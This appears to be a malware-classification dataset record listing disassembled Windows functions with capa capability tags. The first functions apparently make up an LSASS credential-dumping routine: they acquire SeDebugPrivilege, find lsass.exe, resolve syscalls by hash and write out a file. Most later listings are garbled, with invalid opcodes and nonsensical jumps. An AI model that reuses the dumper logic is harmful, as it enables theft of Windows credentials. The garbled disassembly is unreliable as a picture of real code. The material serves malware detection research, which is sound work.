joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001320
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001377
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_process_token_n
call fcn.140001a70
xor al, al
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400055d0
add rsp, 0x68
ret
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400013c1
lea rdx, str.Failed_to_lookup_privilege_value_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a70
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400055d0
add rsp, 0x68
ret
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x44], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
lea r9d, [rax + 0x10]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000140a
lea rdx, str.Failed_to_adjust_token_privileges_n
jmp 0x140001396
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400055d0
add rsp, 0x68
ret

Function at 0x140001430
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x24]
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400014dc
mov qword [rsp + 0x280], rsi
lea rsi, str.lsass.exe
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
mov rax, rbx
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x140001508
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001508
add rax, 2
cmp rax, 0xa
jne 0x1400014b0
mov ebx, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x280]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400055d0
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400014a0
jmp 0x1400014d4
Function at 0x140002f80
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r12
sub rsp, 0x20
cmp dword [0x14000b740], 0
jne 0x14000317e
mov rax, qword gs:[0x60]
xor r12d, r12d
mov edx, r12d
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000318a
nop word [rax + rax]
mov r11, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140002ffd
lea rdx, [r11 + rcx]
mov ecx, dword [r11 + rcx + 0xc]
mov eax, dword [rcx + r11]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x140002ffd
mov eax, dword [rcx + r11 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140003009
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140002fc0
test rdx, rdx
je 0x14000318a
mov qword [rsp + 0x30], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x38], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x40], rsi
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x18], rdi
add rsi, r11
mov qword [rsp + 0x10], r13
mov r13d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
mov edx, r12d
add r14, r11
mov qword [rsp], r15
add rbp, r11
lea r15, [0x14000b740]
nop word [rax + rax]
dec ebx
mov r10d, dword [rsi + rbx*4]
add r10, r11
cmp word [r10], r13w
jne 0x1400030c3
mov r9d, r12d
mov r8d, 0xacc1a1f5
mov rax, r10
nop dword [rax + rax]
movzx eax, word [rax]
mov ecx, r8d
ror ecx, 8
inc r9d
add ecx, eax
mov eax, r9d
add rax, r10
xor r8d, ecx
cmp byte [rax], r12b
jne 0x140003080
mov ecx, edx
inc edx
add rcx, rcx
mov dword [r15 + rcx*8 + 8], r8d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [r15 + rcx*8 + 0xc], eax
mov qword [r15 + rcx*8 + 0x10], r12
cmp edx, 0x258
je 0x1400030c7
test ebx, ebx
jne 0x140003060
mov r14, qword [rsp + 8]
lea eax, [rdx - 1]
mov r13, qword [rsp + 0x10]
mov r11d, r12d
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov dword [0x14000b740], edx
test eax, eax
je 0x140003170
nop
mov ecx, edx
mov eax, r12d
sub ecx, r11d
cmp ecx, 1
je 0x140003165
nop dword [rax]
lea r10d, [rax + 1]
mov r9d, eax
add r9, r9
mov r8d, r10d
add r8, r8
mov edi, dword [r15 + r9*8 + 0xc]
mov ebx, dword [r15 + r8*8 + 0xc]
cmp edi, ebx
jbe 0x140003156
mov edx, dword [r15 + r9*8 + 8]
mov eax, dword [r15 + r8*8 + 8]
mov rcx, qword [r15 + r9*8 + 0x10]
mov dword [r15 + r9*8 + 8], eax
mov rax, qword [r15 + r8*8 + 0x10]
mov qword [r15 + r9*8 + 0x10], rax
mov dword [r15 + r9*8 + 0xc], ebx
mov dword [r15 + r8*8 + 8], edx
mov dword [r15 + r8*8 + 0xc], edi
mov qword [r15 + r8*8 + 0x10], rcx
mov edx, dword [0x14000b740]
mov ecx, edx
mov eax, r10d
sub ecx, r11d
dec ecx
cmp r10d, ecx
jb 0x140003100
inc r11d
lea eax, [rdx - 1]
cmp r11d, eax
jb 0x1400030f0
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x20
pop r12
ret
xor eax, eax
add rsp, 0x20
pop r12
ret
Function at 0x140003930
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x470
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov eax, dword [rcx + 0x70]
mov rsi, rcx
mov edx, dword [rcx + 0x50]
xor r9d, r9d
mov rcx, qword [rcx + 0x48]
mov qword [rsp + 0x40], rax
lea r13d, [rax + 1]
shl r13d, 4
lea r8d, [rdx + r13]
mov qword [rsp + 0x48], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [rsi + 0x48]
lea r9, [rsp + 0x30]
xor edi, edi
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
lea r8d, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
add dword [rsi + 0x50], 8
xor r9d, r9d
mov edx, dword [rsi + 0x50]
xor r8d, r8d
mov rcx, qword [rsi + 0x48]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [rsi + 0x48]
lea r9, [rsp + 0x30]
lea r8d, [rdi + 8]
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [rsi + 0x70]
mov r15d, edi
mov r12d, dword [rsi + 0x50]
mov ecx, edx
shl ecx, 4
add r12d, 8
add ecx, r12d
mov dword [rsi + 0x50], ecx
mov ebx, ecx
test edx, edx
je 0x140003b25
mov qword [rsp + 0x4a8], rbp
mov qword [rsp + 0x4b0], r14
nop dword [rax + rax]
mov rcx, qword [rsi + 0x68]
xor r9d, r9d
mov r14d, r15d
xor r8d, r8d
add r14, r14
mov rdx, rbx
mov rax, qword [rcx + r14*8]
mov qword [rsp + 0x50], rax
mov rax, qword [rcx + r14*8 + 8]
mov rcx, qword [rsi + 0x48]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rdx, qword [rsi + 0x68]
xor edi, edi
cmp qword [rdx + r14*8 + 8], rdi
jbe 0x140003ac9
nop dword [rax]
mov rcx, qword [rdx + r14*8 + 8]
lea r8, [rsp + 0x60]
mov rdx, qword [rdx + r14*8]
mov rax, rcx
sub ecx, edi
mov qword [rsp + 0x38], 0
sub rax, rdi
mov ebp, 0x400
cmp rax, rbp
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
cmovb ebp, ecx
mov rcx, qword [rsi + 0x10]
mov r9d, ebp
add rdx, rdi
call fcn.140005490
test eax, eax
jne 0x140003ab7
mov rcx, qword [rsi + 0x48]
lea r9, [rsp + 0x34]
mov r8d, ebp
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rsi + 0x68]
add rdi, 0x400
cmp rdi, qword [rdx + r14*8 + 8]
jb 0x140003a50
mov rcx, qword [rsi + 0x48]
xor r9d, r9d
add rbx, qword [rsp + 0x58]
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [rsi + 0x48]
lea r9, [rsp + 0x30]
mov r8d, 0x10
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc r15d
add r12d, 0x10
cmp r15d, dword [rsi + 0x70]
jb 0x140003a10
mov r14, qword [rsp + 0x4b0]
mov rbp, qword [rsp + 0x4a8]
mov eax, r13d
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1400055d0
mov rbx, qword [rsp + 0x4b8]
add rsp, 0x470
pop r15
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140005410
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3bc0220
call fcn.1400031a0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005490
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x811cb5b1
call fcn.1400031a0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400054d0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3b996132
call fcn.1400031a0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005510
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe057377d
call fcn.1400031a0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005550
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x6900603
call fcn.1400031a0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005590
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x26
syscall
ret

Function at 0x14000559b
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0xf
syscall
ret
Function at 0x140003f4c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140003b5c
add rsp, 0x28
jmp 0x140003f70
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14001d938], rdi
jne 0x140008848
mov eax, dword [0x14001d930]
cmp eax, 1
je 0x140008868
mov eax, dword [0x14001d930]
cmp eax, ebx
jne 0x14000887f
mov dword [0x14001d930], 1
lea r13, [0x140014218]
lea rdi, [0x140014200]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000401c
cmp eax, ebx
jne 0x14000401c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140004011
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x140003ffa
cmp eax, ebx
jne 0x140008875
mov eax, dword [0x14001d930]
cmp eax, 1
jne 0x14000404c
lea rdx, [0x1400141f8]
lea rcx, [0x1400141c0]
call fcn.1400b0000
mov dword [0x14001d930], 2
cmp r12d, ebx
jne 0x14000405b
mov rax, rbx
xchg qword [0x14001d938], rax
cmp qword [0x14001d950], rbx
jne 0x14000888e
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x1400088b7
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
jbe 0x14000409f
cmp word [rcx], 0x22
je 0x140008912
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140004084
cmp word [rcx], bx
jne 0x1400088c1
cmp word [rcx], bx
jne 0x1400088ce
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400040e8
nop
jmp 0x1400088e6
cmp rax, rdi
jne 0x140008858
mov r12d, 1
jmp 0x140003fba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003fa9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140004024
mov eax, 0xff
jmp 0x140008951
mov dword [0x14001db2c], 1
jmp 0x140004024
lea rcx, [0x14001d950]
call fcn.140011e1c
cmp eax, ebx
je 0x140004068
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14001d950]
nop
jmp 0x140004068
mov eax, 0xff
jmp 0x140008951
cmp edx, ebx
je 0x1400040a8
jmp 0x14000408a
cmp word [rcx], 0x20
ja 0x1400040b1
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400040a8
mov dword [0x14001db28], eax
cmp dword [0x14001d30c], ebx
jne 0x1400088fc
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001db2c], ebx
jne 0x140008910
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001db28]
jmp 0x140008951
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x140004094
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x14000caf4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsi + rax*8 + 8], rbx
jle 0x14000cb43
loope 0x14000cae9
invalid
loopne 0x14000cbb9
add eax, 0x61e8
push rdx
fst qword [rsi - 0x33083cd8]
int3
adc byte [rax - 0x75], cl
movabs rdi, 0x49000cae07e90fc9
mov ebx, dword [rsi - 0x30]
add bh, dl
add al, ah
mov ecx, esi
mov rax, qword [rdi]
mov rbx, qword [rax + 0xab0408]
mov rsp, r10
mov rax, qword [rax + 0x60]
call qword [fcn.14009b3f0]
xchg ecx, eax
mov edx, eax
mov rcx, rdi
mov rax, rbx
call qword [0xc629b3f0]
mov rdx, rax
test rax, rax
je 0x14000cc30
mov rcx, qword [r14 + 0xd0]
insb byte [rdi], dx
mov ecx, ebx
xchg rcx, rax
adc byte [rax], 4
add byte [rax], al
invalid
sub cl, byte [rsp + rbx*2 - 0x69]
sbb al, 0x8b
invalid

Function at 0x14001515c
Capabilities:
Get user security identifier

Disassembly:
sub byte [rbp + rcx*4 - 0x3b], cl
ror byte [rax - 0x73], 0x45
int 0xba
add byte [rax], al
add byte [rax + 0x1b841], al
add byte [rax], al
and al, 0x89
fldenv [rax + riz]
call qword [sym.imp.api_ms_win_security_lsapolicy_l1_1_0.dll_LsaLookupNames2]
nop dword [rax + rax]
mov ebx, eax
or ebx, edi
jge 0x1407d187e
jbe 0x140015162
xor byte [rcx], ch
call qword [0x140336310]
psllq mm0, qword [rax + rax + 0x25]
mov rcx, qword [rbp + 0x20]
push rdx
call qword [sym.imp.api_ms_win_security_lsapolicy_l1_1_0.dll_LsaFreeMemory]
nop dword [rax]
invalid
push rbx
jl 0x1400150e3
in al, dx
and byte [rsi + 0x548d48db], dl
xchg esi, eax
fisttp dword [rax - 0x73]
push rsp
leave
sub dword [rbx], esi
leave
mov dword [rsp + 0x30], ebx
invalid

Function at 0x14001da54
Capabilities:
Encode data using xor

Disassembly:
movabs rbp, 0x54415756651824cb
test al, 0x55
adc dword [rbp + 0x41], esi
push rdi
mov rbp, rsp
sub rsp, 0x80
or al, byte [0x140313908]
xor rax, rsp
mov qword [rbp - 0x10], rax
xchg rsp, rax
loop 0x14001daec
mov esi, dword [rcx + 0xf15db33]
mov dh, 0xfb
mov r10d, ebx
mov rax, rbp
enter 0xffffffffffffa648, 0x2e
outsd dx, dword [rsi]
mov qword [rbp - 0x12], rbx
mov ecx, dword [rcx + 0x10]
invalid

Function at 0x140031dc0
Capabilities:
Encode data using xor

Disassembly:
invalid
ror dword [rcx - 0x7df7afa4], 1
push rsi
out 0x41, al
rol dword [rcx + 0x55], cl
push r14
pop rcx
mov rax, rsi
sub rsp, 0x70
mov al, Ordinal_244
xchg edi, eax
mov edi, ecx
xor r15d, dword [r13 + rax*2 - 0x76b31076]
jge 0x140031dc7
mov qword [rbp - 0x30], r15
loopne 0x140031dab
add eax, 0x48800040
test edx, edx
je 0x140031ed8
mov rcx, rdx
call qword [sym.imp.USER32.dll_Ordinal_2574]
nop dword [rax + rax + 0x4d]
test eax, eax
jne 0x1408820a4
int 0x1e
xchg dword [rax - 0xa], ebx
add byte [rax], al
movabs rbx, 0x8b00350229d50fc0
cmpsd dword [rsi], dword [rdi]
mov rdi, qword [rax + rcx*2 + 0x48563dff]
xor byte [rax], al
nop dword [rax + rax]
test eax, eax
jne 0x140031f04
invalid
mov rdx, rsi
and byte [rbx + 0x1dfe8cf], cl
add byte [rax], al
jmp 0x140031eeb
Function at 0x140050c3c
Capabilities:
Encode data using xor

Disassembly:
mov edx, edi
or al, 0x8b
retf
mov edx, 0x130b
mov rcx, qword [rax]
call qword [sym.imp.ext_ms_win_rtcore_ntuser_window_ext_l1_1_0.dll_SendMessageW]
pinsrw mm0, word [rax + rax + 0x55], 0xff
mov dword [rbx - 0x2e83fc01], 0x24ce8b48
xor byte [rax - 0x7d], cl
mov edi, 0xccc35f6e
call 0x1401896c4
jmp 0x140050bf1
cmp dword [rdi - 0x333ca092], 0xffffffe8
xchg ebx, eax
mov dl, byte [rbx]
add bl, ch
mov esi, 0xcccccc2c
jrcxz 0x140050c05
invalid
scasq rax, qword [rdi]
pop rsp
push rbp
mov dword [rdi + 0x48], esi
sub esp, 0x20
cmp byte [rcx + 0x78], 0
jge 0x140050c26
je 0x140050c7b
mov rax, qword [rcx]
retf 0x4048
xor eax, eax
mov rbx, qword [rsp + 0x30]
invalid

Function at 0x1400744e1
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rdx], bh
push rcx
and al, byte [rax]
nop dword [rdx + 0x4c900000]
mov dword [rdx + rbp*2 + 0x70], esp
lea rcx, [rsp + 0x70]
call 0x19a07559a
lea rcx, [rsp + 0x70]
call fcn.1400789c4
and eax, 0x68d8b
sub al, 0
xor rsp, qword [rax + rbp*8 + 0x286bc]
pushfq
and al, 0xe8
add dword [rax], eax
add byte [rcx - 0x75], cl
sbb byte [rcx - 0x75], r9b
jnp 0x1400744e6
mov r12, qword [r11 + 0x28]

Function at 0x140081580
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx + 0x444]
sub rax, qword [0x1402a9320]
add byte [rax + 0x2b], cl
add eax, 0x227d8e
jne 0x1400815a2
mov rsi, qword [rax + rbp + 0x48000004]
sub eax, dword [0x1402a9324]
xor r14d, eax
mov rax, 0xffffffff81481674
sal byte [rsi + rdx + 0x48], 0x81
ror dword [rsi + rax - 0x5d171600], 0x34
sar bh, 1
inc dword [rbp + 0x415792c0]
and al, byte es:[rax]
add byte [rax], al
mov eax, eax
jp 0x14008158a
sub bl, al
int3

Function at 0x1400859ac
Capabilities:
Encode data using xor

Disassembly:
xchg rbx, rax
pop rsp
mov al, reloc.OLEAUT32.dll_SafeArrayGetDim
mov qword [rsp + 0x20], r9
cmp ecx, dword [rax - 0x7d]
in al, dx
call 0x11993a1c2
movzx edi, dl
imul byte [r10 + rax + 0x75]
adc cl, byte [rax - 0x73]
xchg ecx, eax
and al, 0x50
call 0x10208c830
add dh, byte [rbp + 0x12]
lea rdx, [rcx + 0x5ce85024]
outsb dx, byte [rsi]
add dl, al
mov r8, qword [rax]
mov qword [rsp - 0xb], r8
mov r12d, dword [r8 + 0x302471eb]
add eax, dword [rax]
add byte [rax], al
xor eax, ecx
jae 0x1400859c7
jmp 0x1644ce2f9

Function at 0x140091d5c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rax
push rdi
push r14
xchg rsp, rbp
int 0xec
cmp byte [rax - 0x73], cl
xor byte [r9 - 0x39], r9b
mov byte [rcx], reloc.SHELL32.dll_DAD_ShowDragImage
add byte [rax + 0x24448948], al
sub byte [rcx - 0x73], dh
add eax, 0x215c50
lahf
je 0x140091dc8
sub byte [rdi + 0x3c2c04], dh
xor dword [rbx], 0x448948c9
and al, 0x20
adc eax, 0x3f5b88
mov dword [rbp + 0x30], ebx
mov rcx, r14
call qword [sym.imp.api_ms_win_shcore_registry_l1_1_0.dll_SHGetValueW]
nop dword [rax + rax]
add eax, 0xffffffb2
lea edi, [rbx - 0x54]
cmp eax, edi
shufps xmm1, xmmword [rsi + 0x48ba0937], 0x83
invalid
invalid
Function at 0x140098680
Capabilities:
Encode data using xor

Disassembly:
test qword cs:[rsi], rax
cld
cmovs ecx, dword [rbx + 0x15ff481c]
add dl, byte [rdx]
and byte [rax], al
nop dword [rax]
add byte [rax - 0x75], cl
jnp 0x1400986af
cmp ecx, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
neg cl
test al, 0xcc
int3
mov qword [rsp + 8], rbx
sahf
je 0x14009864e
vxorps xmm9, xmm13, xmmword [rax - 0x7d]
in al, dx
and byte [rax - 0x75], cl
push rsi
xor esp, dword [rax + rcx*2]
adc byte [rdi + 0x48], dl
sub esp, 0x20
mov rdx, qword [rsi + 0x33]
and al, 0x48
mov ecx, dword [rcx + 0x21]
push rsi
leave
je 0x140098688
test rdx, rdx
xchg ecx, eax
mov r8, rdx
or edx, 0xffffffff
call fcn.1400815d0
mov esi, eax
cmp eax, 0xffffffff
je 0x1400986d0
mov rcx, qword [rdi + 0x18]
xor r8d, r8d
mov ebx, dword [rax + rbp*8 + 0x1a]
invalid
invalid

Function at 0x14018d4c4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp - 0x53], rbx
mov qword [rbp + 0x57561824], rdi
push r14
sub rsp, 0x30
mov rbp, r8
mov rax, qword [rax + 0x48]
lea edi, [rdi]
and al, 0x20
mov rax, rdx
call qword [0x15f29b3f0]
adc ecx, dword [rax - 0x75]
je 0x14018d513
and byte [rax - 0x75], cl
invalid
or al, cl
lea rdx, [rsp + 0x58]
xchg esp, eax
mov esi, ebx
call 0x10e18d3cc
fiadd dword [rdi + 8]
adc bl, ch
adc byte [rbp + rcx*4 + 0x7c], cl
and al, 0x58
mov rax, qword [rdi + 0x53]
or eax, 0x3b4e8cf
leave
jle 0x14018d582
mov ebp, dword [rdi + 0x19783210]
add byte [rsi + rsi*4 + 0x48], dh
insb byte [rdi], dx
or r11b, bpl
or eax, 0x1058be48
mov edx, 0xd88b480d
invalid
movabs eax, dword [0x48d5408b7e357ec9]
invalid

Function at 0x14018f1e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
movsxd rsi, dword [rsp + rdx + 0x18]
adc al, 0x18

Function at 0x14019555c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x58]
invalid

Function at 0x1401bf046
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
sbb al, byte [0x140c59950]
jnp 0x1401bf091
xor byte [rax - 0x73], cl
add eax, 0x6828daf0
xor byte [rcx + 0x40], al
cmp dword [rcx + 0x11c], 0
je 0x1401bf0bc
call qword [0x105298f80]
nop dword [rdi + 0x65]
add byte [rax - 0x173474b8], dl
scasb al, byte [rdi]
mov ebx, 0x4890ffe9
invalid
invalid
nop
fimul word [rbx + 0xfbe0]
call fcn.14006f5d8
nop
out dx, al
sub dl, al
add byte [rax], al
test rbp, rcx
je 0x1401bf0ae
mov qword [rsi], rdi
and al, 0x15
call qword [0x14029ce2a]
nop dword [rax + rax]
nop
mov r12d, dword [rax]
add al, byte [rax]
test rcx, rcx
je 0x1401bf0f8
mov qword [rbx + rax*2 + 0x38], rcx
call qword [sym.imp.GDI32.dll_DeleteObject]
invalid
movabs dword [0x834800000f188b8b], eax
movabs dword [0xc985480000000248], eax
je 0x1401bf119
invalid
fisttp word [rbp + 0x6801580a]
invalid

Function at 0x14022b984
Capabilities:
Query or enumerate registry value

Disassembly:
add al, 0xc4
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
invalid